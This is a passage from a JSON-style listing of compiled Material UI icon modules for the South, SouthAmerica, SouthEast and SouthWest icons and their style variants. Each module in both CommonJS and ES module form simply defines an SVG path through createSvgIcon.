    "path": "packages/mui-icons-material/lib/South.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m19 15-1.41-1.41L13 18.17V2h-2v16.17l-4.59-4.59L5 15l7 7z\"\n}), 'South');"
  },
  {
    "path": "packages/mui-icons-material/lib/South.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m19 15-1.41-1.41L13 18.17V2h-2v16.17l-4.59-4.59L5 15l7 7z\"\n}), 'South');"
  },
  {
    "path": "packages/mui-icons-material/lib/SouthAmerica.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2M4 12c0-1.95.7-3.74 1.87-5.13L9 10v1c0 1.1.9 2 2 2v5.59c0 .27.11.52.29.71l.71.7c-4.42 0-8-3.58-8-8m9 7.94V18l3.75-5.62c.16-.25.25-.54.25-.83V10.5c0-.55-.45-1-1-1h-1.5l-1.4-1.75c-.38-.47-.95-.75-1.56-.75H8V5.07C9.18 4.39 10.54 4 12 4c4.41 0 8 3.59 8 8 0 4.07-3.06 7.44-7 7.94\"\n}), 'SouthAmerica');"
  },
  {
    "path": "packages/mui-icons-material/lib/SouthAmerica.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2M4 12c0-1.95.7-3.74 1.87-5.13L9 10v1c0 1.1.9 2 2 2v5.59c0 .27.11.52.29.71l.71.7c-4.42 0-8-3.58-8-8m9 7.94V18l3.75-5.62c.16-.25.25-.54.25-.83V10.5c0-.55-.45-1-1-1h-1.5l-1.4-1.75c-.38-.47-.95-.75-1.56-.75H8V5.07C9.18 4.39 10.54 4 12 4c4.41 0 8 3.59 8 8 0 4.07-3.06 7.44-7 7.94\"\n}), 'SouthAmerica');"
  },
  {
    "path": "packages/mui-icons-material/lib/SouthAmericaOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2M4 12c0-1.95.7-3.74 1.87-5.13L9 10v1c0 1.1.9 2 2 2v5.59c0 .27.11.52.29.71l.71.7c-4.42 0-8-3.58-8-8m9 7.94V18l3.75-5.62c.16-.25.25-.54.25-.83V10.5c0-.55-.45-1-1-1h-1.5l-1.4-1.75c-.38-.47-.95-.75-1.56-.75H8V5.07C9.18 4.39 10.54 4 12 4c4.41 0 8 3.59 8 8 0 4.07-3.06 7.44-7 7.94\"\n}), 'SouthAmericaOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SouthAmericaOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2M4 12c0-1.95.7-3.74 1.87-5.13L9 10v1c0 1.1.9 2 2 2v5.59c0 .27.11.52.29.71l.71.7c-4.42 0-8-3.58-8-8m9 7.94V18l3.75-5.62c.16-.25.25-.54.25-.83V10.5c0-.55-.45-1-1-1h-1.5l-1.4-1.75c-.38-.47-.95-.75-1.56-.75H8V5.07C9.18 4.39 10.54 4 12 4c4.41 0 8 3.59 8 8 0 4.07-3.06 7.44-7 7.94\"\n}), 'SouthAmericaOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SouthAmericaRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2M4 12c0-1.95.7-3.74 1.87-5.13L9 10v1c0 1.1.9 2 2 2v5.59c0 .27.11.52.29.71l.71.7c-4.42 0-8-3.58-8-8m9 7.94V18l3.75-5.62c.16-.25.25-.54.25-.83V10.5c0-.55-.45-1-1-1h-1.5l-1.4-1.75c-.38-.47-.95-.75-1.56-.75H8V5.07C9.18 4.39 10.54 4 12 4c4.41 0 8 3.59 8 8 0 4.07-3.06 7.44-7 7.94\"\n}), 'SouthAmericaRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SouthAmericaRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2M4 12c0-1.95.7-3.74 1.87-5.13L9 10v1c0 1.1.9 2 2 2v5.59c0 .27.11.52.29.71l.71.7c-4.42 0-8-3.58-8-8m9 7.94V18l3.75-5.62c.16-.25.25-.54.25-.83V10.5c0-.55-.45-1-1-1h-1.5l-1.4-1.75c-.38-.47-.95-.75-1.56-.75H8V5.07C9.18 4.39 10.54 4 12 4c4.41 0 8 3.59 8 8 0 4.07-3.06 7.44-7 7.94\"\n}), 'SouthAmericaRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SouthAmericaSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2M4 12c0-1.95.7-3.74 1.87-5.13L9 10v1c0 1.1.9 2 2 2v5.59c0 .27.11.52.29.71l.71.7c-4.42 0-8-3.58-8-8m9 7.94V18l3.75-5.62c.16-.25.25-.54.25-.83V10.5c0-.55-.45-1-1-1h-1.5l-1.4-1.75c-.38-.47-.95-.75-1.56-.75H8V5.07C9.18 4.39 10.54 4 12 4c4.41 0 8 3.59 8 8 0 4.07-3.06 7.44-7 7.94\"\n}), 'SouthAmericaSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SouthAmericaSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2M4 12c0-1.95.7-3.74 1.87-5.13L9 10v1c0 1.1.9 2 2 2v5.59c0 .27.11.52.29.71l.71.7c-4.42 0-8-3.58-8-8m9 7.94V18l3.75-5.62c.16-.25.25-.54.25-.83V10.5c0-.55-.45-1-1-1h-1.5l-1.4-1.75c-.38-.47-.95-.75-1.56-.75H8V5.07C9.18 4.39 10.54 4 12 4c4.41 0 8 3.59 8 8 0 4.07-3.06 7.44-7 7.94\"\n}), 'SouthAmericaSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SouthAmericaTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M4 12c0-1.95.7-3.74 1.87-5.13L9 10v1c0 1.1.9 2 2 2v5.59c0 .27.11.52.29.71l.71.7c-4.42 0-8-3.58-8-8m9 7.94V18l3.75-5.62c.16-.25.25-.54.25-.83V10.5c0-.55-.45-1-1-1h-1.5l-1.4-1.75c-.38-.47-.95-.75-1.56-.75H8V5.07C9.18 4.39 10.54 4 12 4c4.41 0 8 3.59 8 8 0 4.07-3.06 7.44-7 7.94\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2M4 12c0-1.95.7-3.74 1.87-5.13L9 10v1c0 1.1.9 2 2 2v5.59c0 .27.11.52.29.71l.71.7c-4.42 0-8-3.58-8-8m9 7.94V18l3.75-5.62c.16-.25.25-.54.25-.83V10.5c0-.55-.45-1-1-1h-1.5l-1.4-1.75c-.38-.47-.95-.75-1.56-.75H8V5.07C9.18 4.39 10.54 4 12 4c4.41 0 8 3.59 8 8 0 4.07-3.06 7.44-7 7.94\"\n}, \"1\")], 'SouthAmericaTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SouthAmericaTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M4 12c0-1.95.7-3.74 1.87-5.13L9 10v1c0 1.1.9 2 2 2v5.59c0 .27.11.52.29.71l.71.7c-4.42 0-8-3.58-8-8m9 7.94V18l3.75-5.62c.16-.25.25-.54.25-.83V10.5c0-.55-.45-1-1-1h-1.5l-1.4-1.75c-.38-.47-.95-.75-1.56-.75H8V5.07C9.18 4.39 10.54 4 12 4c4.41 0 8 3.59 8 8 0 4.07-3.06 7.44-7 7.94\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2M4 12c0-1.95.7-3.74 1.87-5.13L9 10v1c0 1.1.9 2 2 2v5.59c0 .27.11.52.29.71l.71.7c-4.42 0-8-3.58-8-8m9 7.94V18l3.75-5.62c.16-.25.25-.54.25-.83V10.5c0-.55-.45-1-1-1h-1.5l-1.4-1.75c-.38-.47-.95-.75-1.56-.75H8V5.07C9.18 4.39 10.54 4 12 4c4.41 0 8 3.59 8 8 0 4.07-3.06 7.44-7 7.94\"\n}, \"1\")], 'SouthAmericaTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SouthEast.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 9h-2v6.59L5.41 4 4 5.41 15.59 17H9v2h10z\"\n}), 'SouthEast');"
  },
  {
    "path": "packages/mui-icons-material/lib/SouthEast.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 9h-2v6.59L5.41 4 4 5.41 15.59 17H9v2h10z\"\n}), 'SouthEast');"
  },
  {
    "path": "packages/mui-icons-material/lib/SouthEastOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 9h-2v6.59L5.41 4 4 5.41 15.59 17H9v2h10z\"\n}), 'SouthEastOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SouthEastOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 9h-2v6.59L5.41 4 4 5.41 15.59 17H9v2h10z\"\n}), 'SouthEastOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SouthEastRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 9c-.56 0-1 .45-1 1v5.59L6.12 4.7a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41L15.59 17H10c-.55 0-1 .45-1 1s.45 1 1 1h8c.55 0 1-.45 1-1v-8c0-.55-.45-1-1-1\"\n}), 'SouthEastRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SouthEastRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 9c-.56 0-1 .45-1 1v5.59L6.12 4.7a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41L15.59 17H10c-.55 0-1 .45-1 1s.45 1 1 1h8c.55 0 1-.45 1-1v-8c0-.55-.45-1-1-1\"\n}), 'SouthEastRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SouthEastSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 9h-2v6.59L5.41 4 4 5.41 15.59 17H9v2h10z\"\n}), 'SouthEastSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SouthEastSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 9h-2v6.59L5.41 4 4 5.41 15.59 17H9v2h10z\"\n}), 'SouthEastSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SouthEastTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 9h-2v6.59L5.41 4 4 5.41 15.59 17H9v2h10z\"\n}), 'SouthEastTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SouthEastTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 9h-2v6.59L5.41 4 4 5.41 15.59 17H9v2h10z\"\n}), 'SouthEastTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SouthOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m19 15-1.41-1.41L13 18.17V2h-2v16.17l-4.59-4.59L5 15l7 7z\"\n}), 'SouthOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SouthOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m19 15-1.41-1.41L13 18.17V2h-2v16.17l-4.59-4.59L5 15l7 7z\"\n}), 'SouthOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SouthRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.3 14.29a.996.996 0 0 0-1.41 0L13 18.17V3c0-.55-.45-1-1-1s-1 .45-1 1v15.18L7.12 14.3a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l5.59 5.59c.39.39 1.02.39 1.41 0l5.59-5.59c.38-.39.38-1.03 0-1.42\"\n}), 'SouthRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SouthRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.3 14.29a.996.996 0 0 0-1.41 0L13 18.17V3c0-.55-.45-1-1-1s-1 .45-1 1v15.18L7.12 14.3a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l5.59 5.59c.39.39 1.02.39 1.41 0l5.59-5.59c.38-.39.38-1.03 0-1.42\"\n}), 'SouthRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SouthSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m19 15-1.41-1.41L13 18.17V2h-2v16.17l-4.59-4.59L5 15l7 7z\"\n}), 'SouthSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SouthSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m19 15-1.41-1.41L13 18.17V2h-2v16.17l-4.59-4.59L5 15l7 7z\"\n}), 'SouthSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SouthTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m19 15-1.41-1.41L13 18.17V2h-2v16.17l-4.59-4.59L5 15l7 7z\"\n}), 'SouthTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SouthTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m19 15-1.41-1.41L13 18.17V2h-2v16.17l-4.59-4.59L5 15l7 7z\"\n}), 'SouthTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SouthWest.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 19v-2H8.41L20 5.41 18.59 4 7 15.59V9H5v10z\"\n}), 'SouthWest');"
  },
  {
    "path": "packages/mui-icons-material/lib/SouthWest.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 19v-2H8.41L20 5.41 18.59 4 7 15.59V9H5v10z\"\n}), 'SouthWest');"
  },
  {
    "path": "packages/mui-icons-material/lib/SouthWestOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 19v-2H8.41L20 5.41 18.59 4 7 15.59V9H5v10z\"\n}), 'SouthWestOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SouthWestOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 19v-2H8.41L20 5.41 18.59 4 7 15.59V9H5v10z\"\n}), 'SouthWestOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SouthWestRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 18c0-.56-.45-1-1-1H8.41L19.3 6.11c.39-.39.39-1.02 0-1.41a.996.996 0 0 0-1.41 0L7 15.59V10c0-.55-.45-1-1-1s-1 .45-1 1v8c0 .55.45 1 1 1h8c.55 0 1-.45 1-1\"\n}), 'SouthWestRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SouthWestRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 18c0-.56-.45-1-1-1H8.41L19.3 6.11c.39-.39.39-1.02 0-1.41a.996.996 0 0 0-1.41 0L7 15.59V10c0-.55-.45-1-1-1s-1 .45-1 1v8c0 .55.45 1 1 1h8c.55 0 1-.45 1-1\"\n}), 'SouthWestRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SouthWestSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 19v-2H8.41L20 5.41 18.59 4 7 15.59V9H5v10z\"\n}), 'SouthWestSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SouthWestSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 19v-2H8.41L20 5.41 18.59 4 7 15.59V9H5v10z\"\n}), 'SouthWestSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SouthWestTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 19v-2H8.41L20 5.41 18.59 4 7 15.59V9H5v10z\"\n}), 'SouthWestTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SouthWestTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 19v-2H8.41L20 5.41 18.59 4 7 15.59V9H5v10z\"\n}), 'SouthWestTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Spa.js",
